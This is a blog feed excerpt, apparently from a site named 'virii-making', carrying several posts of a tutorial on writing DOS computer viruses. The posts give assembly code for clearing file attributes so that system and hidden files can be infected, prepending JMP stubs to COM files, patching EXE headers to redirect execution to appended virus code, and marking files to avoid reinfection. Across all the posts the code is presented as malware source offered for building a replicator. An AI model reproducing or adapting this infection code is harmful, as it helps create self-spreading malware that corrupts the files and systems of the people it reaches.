style=""&gt;&lt;span style=""&gt;          &lt;/span&gt;int&lt;span style=""&gt;     &lt;/span&gt;21h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;Remember also to restore the directory back to the original one if it changed during the run of the virus.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-5458264963641551781?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=1fKxyF2FKEk:9Cmp2bJ9nzM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=1fKxyF2FKEk:9Cmp2bJ9nzM:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=1fKxyF2FKEk:9Cmp2bJ9nzM:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=1fKxyF2FKEk:9Cmp2bJ9nzM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=1fKxyF2FKEk:9Cmp2bJ9nzM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=1fKxyF2FKEk:9Cmp2bJ9nzM:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=1fKxyF2FKEk:9Cmp2bJ9nzM:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=1fKxyF2FKEk:9Cmp2bJ9nzM:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=1fKxyF2FKEk:9Cmp2bJ9nzM:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=1fKxyF2FKEk:9Cmp2bJ9nzM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=1fKxyF2FKEk:9Cmp2bJ9nzM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=1fKxyF2FKEk:9Cmp2bJ9nzM:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/1fKxyF2FKEk/cover-your-tracks.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2009/07/cover-your-tracks.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-7068739439979419017</guid><pubDate>Mon, 29 Jun 2009 16:59:00 +0000</pubDate><atom:updated>2009-06-30T01:09:52.217+08:00</atom:updated><title>Infect The File</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WSwejYKuihkecWj17A_KgtUG3wA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WSwejYKuihkecWj17A_KgtUG3wA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WSwejYKuihkecWj17A_KgtUG3wA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WSwejYKuihkecWj17A_KgtUG3wA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Owhh Mighty GOD!!&lt;br /&gt;&lt;br /&gt;For how long did'nt I update this POST!!? LOL!!!&lt;br /&gt;&lt;br /&gt;I'll continue for the part of infecting the file with the virus...&lt;br /&gt;&lt;br /&gt;For the virus, this is  the "guts"  of the  virus, the  heart of the replicator.  Once you&lt;br /&gt;  have located  a potential  file, you  must save the attributes, time, date,&lt;br /&gt;  and size for later use.  The following is a breakdown of the DTA:&lt;br /&gt; &lt;br /&gt;    Offset     Size      What it is&lt;br /&gt;      0h       21 BYTES  Reserved, varies as per DOS version&lt;br /&gt;     15h       BYTE      File attribute&lt;br /&gt;     16h       WORD      File time&lt;br /&gt;     18h       WORD      File date&lt;br /&gt;     1Ah       DWORD     File size&lt;br /&gt;     1Eh       13 BYTES  ASCIIZ filename + extension&lt;br /&gt; &lt;br /&gt;  As you can see, the DTA holds all the vital information about the file that&lt;br /&gt;  you need.  The following code fragment is a sample of how to save the info:&lt;br /&gt; &lt;br /&gt;          lea  si, [bp+offset DTA+15h]            ; Start from attributes&lt;br /&gt;          mov  cx, 9                              ; Finish with size&lt;br /&gt;          lea  di, [bp+offset f_attr]             ; Move into your locations&lt;br /&gt;          rep  movsb&lt;br /&gt;  ; Variables needed&lt;br /&gt;  f_attr  db   ?&lt;br /&gt;  f_time  dw   ?&lt;br /&gt;  f_date  dw   ?&lt;br /&gt;  f_size  dd   ?&lt;br /&gt; &lt;br /&gt;  You can  now change the file attributes to nothing through INT 21h/Function&lt;br /&gt;  43h/Subfunction 01h.   This  is to  allow infection  of system, hidden, and&lt;br /&gt;  read only  files.   Only primitive  (or minimal)  virii cannot  handle such&lt;br /&gt;  files.&lt;br /&gt; &lt;br /&gt;          lea  dx, [bp+offset DTA+1eh]            ; DX points to filename in&lt;br /&gt;          mov  ax, 4301h                          ; DTA&lt;br /&gt;          xor  cx, cx                             ; Clear file attributes&lt;br /&gt;          int  21h                                ; Issue the call&lt;br /&gt; &lt;br /&gt;  Once the  attributes have  been annihilated,  you may  open the  file  with&lt;br /&gt;  callous impunity.  Use a handle open in read/write mode.&lt;br /&gt; &lt;br /&gt;          lea  dx, [bp+offset DTA+1eh]            ; Use filename in DTA&lt;br /&gt;          mov  ax, 3d02h                          ; Open read/write mode&lt;br /&gt;          int  21h                                ; duh.&lt;br /&gt;          xchg ax, bx                             ; Handle is more useful in&lt;br /&gt;                                                  ; BX&lt;br /&gt; &lt;br /&gt;  Now we come to the part you've all been waiting for: the infection routine.&lt;br /&gt;  I am  pleased to present code which will handle the infection of COM files.&lt;br /&gt;  Yawn, you  say, I can already do that with the information presented in the&lt;br /&gt;  previous installment.   Ah,  but there  is more,  much more.   A sample EXE&lt;br /&gt;  infector shall also be presented shortly.&lt;br /&gt; &lt;br /&gt;  The theory  behind COM  file infection was covered in the last installment,&lt;br /&gt;  so I shall not delve into the details again.  Here is a sample infector:&lt;br /&gt; &lt;br /&gt;  ; Sample COM infector.  Assumes BX holds the file handle&lt;br /&gt;  ; Assume COM file passes infection criteria and not already infected&lt;br /&gt;          mov     ah, 3fh&lt;br /&gt;          lea     dx, [bp+buffer1]&lt;br /&gt;          mov     cx, 3&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          mov     ax, 4200h                       ; Move file pointer to&lt;br /&gt;          xor     cx, cx                          ; the beginning of the&lt;br /&gt;          xor     dx, dx                          ; file&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          mov     byte ptr [bp+buffer2], 0e9h      ; JMP&lt;br /&gt;          mov     ax, word ptr [bp+f_size]&lt;br /&gt;          sub     ax, part1_size                   ; Usually 3&lt;br /&gt;          mov     word ptr [bp+buffer2+1], ax      ; offset of JMP&lt;br /&gt; &lt;br /&gt;  ; Encode JMP instruction to replace beginning of the file&lt;br /&gt;          mov     byte ptr [bp+buffer2], 0e9h      ; JMP&lt;br /&gt;          mov     ax, word ptr [bp+f_size]&lt;br /&gt;          sub     ax, part1_size                   ; Usually 3&lt;br /&gt;          mov     word ptr [bp+buffer2+1], ax      ; offset of JMP&lt;br /&gt; &lt;br /&gt;  ; Write the JMP instruction to the beginning of the file&lt;br /&gt;          mov     ah, 40h                          ; Write CX bytes to&lt;br /&gt;          mov     cx, 3                            ; handle in BX from&lt;br /&gt;          lea     dx, [bp+buffer2]                 ; buffer -&gt; DS:[DX]&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          mov     ax, 4202h                        ; Move file pointer to&lt;br /&gt;          xor     cx, cx                           ; end of file&lt;br /&gt;          xor     dx, dx&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          mov     ah, 40h                          ; Write CX bytes&lt;br /&gt;          mov     cx, endofvirus - startofpart2    ; Effective size of virus&lt;br /&gt;          lea     dx, [bp+startofpart2]            ; Begin write at start&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;  ; Variables&lt;br /&gt;  buffer1 db 3 dup (?)                             ; Saved bytes from the&lt;br /&gt;                                                   ; infected file to restore&lt;br /&gt;                                                   ; later&lt;br /&gt;  buffer2 db 3 dup (?)                             ; Temp buffer&lt;br /&gt; &lt;br /&gt;  After some  examination, this code will prove to be easy to understand.  It&lt;br /&gt;  starts by reading the first three bytes into a buffer.  Note that you could&lt;br /&gt;  have done  this in  an earlier  step, such  as when  you are checking for a&lt;br /&gt;  previous infection.   If  you have  already done  this, you obviously don't&lt;br /&gt;  need to  do it again.  This buffer must be stored in the virus so it can be&lt;br /&gt;  restored later when the code is executed.&lt;br /&gt; &lt;br /&gt;  EXE infections  are also  simple, although  a  bit  harder  to  understand.&lt;br /&gt;  First, the thoery.  Here is the format of the EXE header:&lt;br /&gt; &lt;br /&gt;   Ofs Name                Size      Comments&lt;br /&gt;   00  Signature           2 bytes   always 4Dh 5Ah (MZ)&lt;br /&gt;  *02  Last Page Size      1 word    number of bytes in last page&lt;br /&gt;  *04  File Pages          1 word    number of 512 byte pages&lt;br /&gt;   06  Reloc Items         1 word    number of entries in table&lt;br /&gt;   08  Header Paras        1 word    size of header in 16 byte paras&lt;br /&gt;   0A  MinAlloc            1 word    minimum memory required in paras&lt;br /&gt;   0C  MaxAlloc            1 word    maximum memory wanted in paras&lt;br /&gt;  *0E  PreReloc SS         1 word    offset in paras to stack segment&lt;br /&gt;  *10  Initial SP          1 word    starting SP value&lt;br /&gt;   12  Negative checksum   1 word    currently ignored&lt;br /&gt;  *14  Pre Reloc IP        1 word    execution start address&lt;br /&gt;  *16  Pre Reloc CS        1 word    preadjusted start segment&lt;br /&gt;   18  Reloc table offset  1 word    is offset from start of file)&lt;br /&gt;   1A  Overlay number      1 word    ignored if not overlay&lt;br /&gt;   1C  Reserved/unused     2 words&lt;br /&gt;  * denotes bytes which should be changed by the virus&lt;br /&gt; &lt;br /&gt;  To understand  this, you  must first  realise that EXE files are structured&lt;br /&gt;  into segments.  These segments may begin and end anywhere.  All you have to&lt;br /&gt;  do to  infect an EXE file is tack on your code to the end.  It will then be&lt;br /&gt;  in its  own segment.  Now all you have to do is make the virus code execute&lt;br /&gt;  before the  program code.   Unlike  COM  infections,  no  program  code  is&lt;br /&gt;  overwritten, although  the header  is modified.   Note  the virus can still&lt;br /&gt;  have the  V1/V2 structure,  but only V2 needs to be concatenated to the end&lt;br /&gt;  of the infected EXE file.&lt;br /&gt; &lt;br /&gt;  Offset 4  (File Pages)  holds the  size of the file divided by 512, rounded&lt;br /&gt;  up.   Offset 2 holds the size of the file modulo 512.  Offset 0Eh holds the&lt;br /&gt;  paragraph displacement  (relative to  the end of the header) of the initial&lt;br /&gt;  stack segment  and Offset 10h holds the displacement (relative to the start&lt;br /&gt;  of the  stack segment)  of the initial stack pointer.  Offset 16h holds the&lt;br /&gt;  paragraph displacement of the entry point relative to the end of the header&lt;br /&gt;  and offset  14h holds the displacement entry point relative to the start of&lt;br /&gt;  the entry  segment.   Offset 14h  and 16h are the key to adding the startup&lt;br /&gt;  code (the virus) to the file.&lt;br /&gt; &lt;br /&gt;  Before you  infect the  file, you  should save the CS:IP and SS:SP found in&lt;br /&gt;  the EXE  header, as  you need  to restore  them upon  execution.  Note that&lt;br /&gt;  SS:SP is NOT stored in Intel reverse-double-word format.  If you don't know&lt;br /&gt;  what I'm  talking about, don't worry; it's only for very picky people.  You&lt;br /&gt;  should also save the file length as you will need to use that value several&lt;br /&gt;  times during  the infection  routine.   Now it's  time  to  calculate  some&lt;br /&gt;  offsets!   To find  the new  CS:IP and  SS:SP, use  the following code.  It&lt;br /&gt;  assumes the file size is loaded in DX:AX.&lt;br /&gt; &lt;br /&gt;          mov     bx, word ptr [bp+ExeHead+8]    ; Header size in paragraphs&lt;br /&gt;               ;  ^---make sure you don't destroy the file handle&lt;br /&gt;          mov     cl, 4                          ; Multiply by 16.  Won't&lt;br /&gt;          shl     bx, cl                         ; work with headers &gt; 4096&lt;br /&gt;                                                 ; bytes.  Oh well!&lt;br /&gt;          sub     ax, bx                         ; Subtract header size from&lt;br /&gt;          sbb     dx, 0                          ; file size&lt;br /&gt;    ; Now DX:AX is loaded with file size minus header size&lt;br /&gt;          mov     cx, 10h                        ; DX:AX/CX = AX Remainder DX&lt;br /&gt;          div     cx&lt;br /&gt; &lt;br /&gt;  This code  is rather inefficient.  It would probably be easier to divide by&lt;br /&gt;  16 first  and then perform a straight subtraction from AX, but this happens&lt;br /&gt;  to be  the code  I chose.   Such is life. However, this code does have some&lt;br /&gt;  advantages over  the more  efficient one.   With this, you are certain that&lt;br /&gt;  the IP  (in DX)  will be under 15.  This allows the stack to be in the same&lt;br /&gt;  segment as the entry point, as long as the stack pointer is a large number.&lt;br /&gt; &lt;br /&gt;  Now AX*16+DX  points to  the end  of code.  If the virus begins immediately&lt;br /&gt;  after the  end of the code, AX and DX can be used as the initial CS and IP,&lt;br /&gt;  respectively.   However, if  the virus  has some junk (code or data) before&lt;br /&gt;  the entry  point, add the entry point displacement to DX (no ADC with AX is&lt;br /&gt;  necessary since DX will always be small).&lt;br /&gt; &lt;br /&gt;          mov     word ptr [bp+ExeHead+14h], dx  ; IP Offset&lt;br /&gt;          mov     word ptr [bp+ExeHead+16h], ax  ; CS Displacement in module&lt;br /&gt; &lt;br /&gt;  The SP  and SS  can now  be calculated.   The  SS is  equal to the CS.  The&lt;br /&gt;  actual value  of the SP is irrelevant, as long as it is large enough so the&lt;br /&gt;  stack will  not overwrite code (remember: the stack grows downwards).  As a&lt;br /&gt;  general rule,  make sure the SP is at least 100 bytes larger than the virus&lt;br /&gt;  size.  This should be sufficient to avoid problems.&lt;br /&gt; &lt;br /&gt;          mov     word ptr [bp+ExeHead+0Eh], ax  ; Paragraph disp. SS&lt;br /&gt;          mov     word ptr [bp+ExeHead+10h], 0A000h ; Starting SP&lt;br /&gt; &lt;br /&gt;  All that  is left  to fiddle  in the  header is the file size.  Restore the&lt;br /&gt;  original file  size from  wherever you  saved it  to DX:AX.   To  calculate&lt;br /&gt;  DX:AX/512 and DX:AX MOD 512, use the following code:&lt;br /&gt; &lt;br /&gt;          mov     cl, 9                           ; Use shifts again for&lt;br /&gt;          ror     dx, cl                          ; division&lt;br /&gt;          push    ax                              ; Need to use AX again&lt;br /&gt;          shr     ax, cl&lt;br /&gt;          adc     dx, ax                          ; pages in dx&lt;br /&gt;          pop     ax&lt;br /&gt;          and     ah, 1                           ; mod 512 in ax&lt;br /&gt; &lt;br /&gt;          mov     word ptr [bp+ExeHead+4], dx     ; Fix-up the file size in&lt;br /&gt;          mov     word ptr [bp+ExeHead+2], ax     ; the EXE header.&lt;br /&gt; &lt;br /&gt;  All that is left is writing back the EXE header and concatenating the virus&lt;br /&gt;  to the end of the file.  You want code?  You get code.&lt;br /&gt; &lt;br /&gt;          mov     ah, 3fh                         ; BX holds handle&lt;br /&gt;          mov     cx, 18h                         ; Don't need entire header&lt;br /&gt;          lea     dx, [bp+ExeHead]&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          call    infectexe&lt;br /&gt; &lt;br /&gt;          mov     ax, 4200h                       ; Rewind to beginning of&lt;br /&gt;          xor     cx, cx                          ; file&lt;br /&gt;          xor     dx, dx&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          mov     ah, 40h                         ; Write header back&lt;br /&gt;          mov     cx, 18h&lt;br /&gt;          lea     dx, [bp+ExeHead]&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          mov     ax, 4202h                       ; Go to end of file&lt;br /&gt;          xor     cx, cx&lt;br /&gt;          xor     dx, dx&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          mov     ah, 40h                         ; Note: Only need to write&lt;br /&gt;          mov     cx, part2size                   ;       part 2 of the virus&lt;br /&gt;          lea     dx, [bp+offset part2start]      ;      (Parts of virus&lt;br /&gt;          int     21h                             ;       defined in first&lt;br /&gt;                                                  ;       installment of&lt;br /&gt;                                                  ;       the guide)&lt;br /&gt; &lt;br /&gt;  Note that this code alone is not sufficient to write a COM or EXE infector.&lt;br /&gt;  Code is also needed to transfer control back to the parent program.  The&lt;br /&gt;  information needed to do this shall be presented in the next installment.&lt;br /&gt;  In the meantime, you can try to figure it out on your own; just remember&lt;br /&gt;  that you must restore all that you changed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-7068739439979419017?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Jd7m6aYxlYY:g8tjytqocFk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Jd7m6aYxlYY:g8tjytqocFk:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Jd7m6aYxlYY:g8tjytqocFk:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Jd7m6aYxlYY:g8tjytqocFk:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=Jd7m6aYxlYY:g8tjytqocFk:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Jd7m6aYxlYY:g8tjytqocFk:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Jd7m6aYxlYY:g8tjytqocFk:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=Jd7m6aYxlYY:g8tjytqocFk:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Jd7m6aYxlYY:g8tjytqocFk:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Jd7m6aYxlYY:g8tjytqocFk:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=Jd7m6aYxlYY:g8tjytqocFk:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=Jd7m6aYxlYY:g8tjytqocFk:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/Jd7m6aYxlYY/infect-file.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2009/06/infect-file.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-3116573971771200134</guid><pubDate>Thu, 18 Sep 2008 09:03:00 +0000</pubDate><atom:updated>2008-09-18T17:10:54.768+08:00</atom:updated><title>Checking and Criteria of Infection</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/0wKF_fxlB468GPPLkT73ZMFm-Kc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0wKF_fxlB468GPPLkT73ZMFm-Kc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/0wKF_fxlB468GPPLkT73ZMFm-Kc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/0wKF_fxlB468GPPLkT73ZMFm-Kc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Sorry for not updating here lately but now I will continue what I promised for.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;Your virus  should be  judicious in  its infection.  For example, you might not want  to  infect COMMAND.COM,  since  some  programs  (i.e.  the  puny FluShot+) check its CRC or checksum on runtime.  Perhaps you do not wish to infect the  first valid file in the directory.  Ambulance Car is an example of such  a virus.   Regardless,  if there  is some  infection criteria, you should check  for it  now.   Here's example  code checking  if the last two letters are 'ND', a simple check for COMMAND.COM:&lt;br /&gt;&lt;/div&gt; &lt;br /&gt;          cmp     word ptr [bp+offset DTA+35], 'DN'  ; Reverse word order&lt;br /&gt;          jz      fail_check&lt;br /&gt;&lt;br /&gt;  Every virus has certain characteristics with which you can identify whether&lt;br /&gt;  a file  is infected  already.   For example,  a certain  piece of  code may&lt;br /&gt;  always occur  in a  predictable place.   Or  perhaps the JMP instruction is&lt;br /&gt;  always coded  in the  same manner.   Regardless,  you should make sure your&lt;br /&gt;  virus has  a marker  so that  multiple infections  of the  same file do not&lt;br /&gt;  occur.  Here's an example of one such check (for a COM file infector):&lt;br /&gt; &lt;br /&gt;          mov     ah,3Fh                          ; Read first three&lt;br /&gt;          mov     cx, 3                           ; bytes of the file&lt;br /&gt;          lea     dx, [bp+offset buffer]          ; to the buffer&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          mov     ax, 4202h                       ; SEEK from EOF&lt;br /&gt;          xor     cx, cx                          ; DX:CX = offset&lt;br /&gt;          xor     dx, dx                          ; Returns filesize&lt;br /&gt;          int     21h                             ; in DX:AX&lt;br /&gt; &lt;br /&gt;          sub     ax, virus_size + 3&lt;br /&gt;          cmp     word ptr [bp+offset buffer+1], ax&lt;br /&gt;          jnz     infect_it&lt;br /&gt; &lt;br /&gt;  bomb_out:&lt;br /&gt;          mov     ah, 3Eh                         ; else close the file&lt;br /&gt;          int     21h                             ;  and go find another&lt;br /&gt; &lt;br /&gt;  In this  example, BX  is assumed to hold a file handle to the program to be&lt;br /&gt;  checked for  infection and virus_size equals the size of the virus.  Buffer&lt;br /&gt;  is assumed  to be  a three-byte  area of  empty space.   This code fragment&lt;br /&gt;  reads the  first three bytes into buffer and then compares the JMP location&lt;br /&gt;  (located in  the word  beginning at  buffer+1) to  the filesize  If the JMP&lt;br /&gt;  points to  virus_size bytes  before the  EOF,  then  the  file  is  already&lt;br /&gt;  infected with  this virus.   Another method would be to search at a certain&lt;br /&gt;  location in the file for a marker byte or word.  For example:&lt;br /&gt; &lt;br /&gt;          mov     ah, 3Fh                         ; Read the first four&lt;br /&gt;          mov     cx, 4                           ; bytes of the file into&lt;br /&gt;          lea     dx, [bp+offset buffer]          ; the buffer.&lt;br /&gt;          int     21h&lt;br /&gt; &lt;br /&gt;          cmp     byte ptr [buffer+3], infection_id_byte ; Check the fourth&lt;br /&gt;          jz      bomb_out                        ; byte for the marker&lt;br /&gt;  infect_it:&lt;br /&gt;&lt;br /&gt;Here you should create your own malicious code to infect the checked file. Stay tune here cause I'll post  some example of code to infect a file in the next post.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-3116573971771200134?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=rimisk4Ph5I:-hBkhEQidfc:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=rimisk4Ph5I:-hBkhEQidfc:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=rimisk4Ph5I:-hBkhEQidfc:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=rimisk4Ph5I:-hBkhEQidfc:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=rimisk4Ph5I:-hBkhEQidfc:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=rimisk4Ph5I:-hBkhEQidfc:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=rimisk4Ph5I:-hBkhEQidfc:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=rimisk4Ph5I:-hBkhEQidfc:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=rimisk4Ph5I:-hBkhEQidfc:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=rimisk4Ph5I:-hBkhEQidfc:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=rimisk4Ph5I:-hBkhEQidfc:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=rimisk4Ph5I:-hBkhEQidfc:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/rimisk4Ph5I/checking-and-criteria-of-infection.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/09/checking-and-criteria-of-infection.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-7731484038208580494</guid><pubDate>Fri, 04 Apr 2008 10:13:00 +0000</pubDate><atom:updated>2008-04-04T18:18:35.117+08:00</atom:updated><title>FIND A FILE TO INFECT</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2bgPB7ZADb5dW-sTnU4jn6To2sw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2bgPB7ZADb5dW-sTnU4jn6To2sw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
